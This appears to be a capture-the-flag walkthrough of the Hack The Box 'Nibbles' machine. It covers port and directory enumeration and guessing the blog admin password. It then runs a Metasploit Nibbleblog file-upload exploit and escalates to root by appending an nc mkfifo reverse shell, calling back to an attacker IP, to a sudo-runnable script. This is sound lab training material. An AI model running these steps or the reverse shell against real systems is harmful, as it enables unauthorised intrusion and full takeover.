# HTB | Nibbles

This is the Box on [Hack The Box Linux Privilege Escalation 101 Track](https://app.hackthebox.com/tracks/Linux-Privilege-Escalation-101). Find the box [here](https://app.hackthebox.com/machines/121).&#x20;

#### Skill Learned

* Enumerating web applications&#x20;
* Guessing probable passwords&#x20;

## NMAP

IP: **10.10.10.75**

```
nmap -sT -p- --min-rate 10000 10.10.10.75
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FkUOsVgqrKtg4nUFFtf1q%2Fimage.png?alt=media&#x26;token=85040c24-d3e1-444a-a7e6-02d6533c7264" alt=""><figcaption></figcaption></figure>

```
nmap -sC -sV -p 22,80 10.10.10.75
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F9NbovJPiOzDtiNqpJRTr%2Fimage.png?alt=media&#x26;token=3ac5663b-3700-4f0b-97f4-0cf047080b83" alt=""><figcaption><p>nmap scan</p></figcaption></figure>

### Port 80

Let's visit port 80

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fadg5BPivoAQE2fIwufxa%2Fimage.png?alt=media&#x26;token=847184fa-cfb1-42fa-8b40-b80301d48f64" alt=""><figcaption><p>port 80</p></figcaption></figure>

nothing was there on dirsearch

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FyTBYkL56VOTZZxQY2hdu%2Fimage.png?alt=media&#x26;token=d07c4655-c797-43ee-a4f0-feabf16b9e42" alt=""><figcaption><p>dirsearch</p></figcaption></figure>

on looking at the source code we found `/nibbleblog/`

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F9FFE4VOUOq7ymwXBXDnT%2Fimage.png?alt=media&#x26;token=e2d6db74-8834-4256-b7d9-a2941dd199e2" alt=""><figcaption><p>/nibblelog</p></figcaption></figure>

Let's fuzz the directory

```
dirsearch -u http://10.10.10.75/nibbleblog/ -x 404,403
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FmRchZF8B2zTRO0IjhMAj%2Fimage.png?alt=media&#x26;token=58e788d9-fa16-4327-afcc-15da08d4dc09" alt=""><figcaption><p>dirsearch</p></figcaption></figure>

found <http://10.10.10.75/nibbleblog/content/private/users.xml>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F2Vl8R2WFQJGlS3UiFhN0%2Fimage.png?alt=media&#x26;token=23df585f-ddd3-4967-b175-098cf88d2b1f" alt=""><figcaption><p>/nibbleblog/content/private/users.xml</p></figcaption></figure>

## Foothold/shell

since we have a username let's try to login <http://10.10.10.75/nibbleblog/admin.php>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fl3mMKimwedZOFiE143Lz%2Fimage.png?alt=media&#x26;token=2a88edb4-c783-4b58-b0a0-ec68078e79e4" alt=""><figcaption><p>/nibbleblog/admin.php</p></figcaption></figure>

I tried a bunch of passwords admin:admin, admin:Nibble, admin:nibble, admin:nibbles&#x20;

the last one worked

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FfrfQVLxVqJgNcPb9zDBb%2Fimage.png?alt=media&#x26;token=8d3e4527-b493-4672-b39c-1cdb5b3fd3ae" alt=""><figcaption><p>nibbleblog dashboard</p></figcaption></figure>

we have also found <http://10.10.10.75/nibbleblog/README&#x20>;

here we found its version

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FjHJGrfZX6xPEoYdWdLuf%2Fimage.png?alt=media&#x26;token=e4172e2d-c42b-4c73-8a91-6ce60645ead8" alt=""><figcaption><p>/nibbleblog/README </p></figcaption></figure>

Now there are two ways&#x20;

* [CVE-2015-6967](https://github.com/dix0nym/CVE-2015-6967)
* Metasploit -> multi/http/nibbleblog\_file\_upload&#x20;

I used Metasploit, change the options as below

```
set USERNAME admin
set PASSWORD nibbles
set RHOST 10.10.10.75 
set RPORT 80
set TARGETURI /nibbleblog/
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FUQuHS2N3mFZ5cqpsaVnq%2Fimage.png?alt=media&#x26;token=b0f3be5a-713a-447e-b13d-5b56f2701d76" alt=""><figcaption><p>multi/http/nibbleblog_file_upload</p></figcaption></figure>

we found user.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FcwQkj2BihVbdu8dMhejt%2Fimage.png?alt=media&#x26;token=1fc317c7-6936-4117-aaf9-89ce3023ab7c" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Priv Esc

we found that we can run */home/nibbler/personal/stuff/monitor.sh* without password

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F4C0SbrnSNoymd3GPsHT7%2Fimage.png?alt=media&#x26;token=063ae73f-ee1c-414b-a32f-b666d0079049" alt=""><figcaption><p>sudo -l</p></figcaption></figure>

since we can run the script as sudo we can modify it to get root

let's append reverse shell to monitor.sh

```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.3 1234 >/tmp/f" >> monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F36skmUP5UnDOz1Z3pKdq%2Fimage.png?alt=media&#x26;token=0e567643-b7ab-466a-b1ff-434bd214ec26" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FUEHKdMz15xKqmlUBAxde%2Fimage.png?alt=media&#x26;token=901d84d0-a348-4e76-906e-48a02128bf2b" alt=""><figcaption><p>root.txt</p></figcaption></figure>

we are in and found root.txt
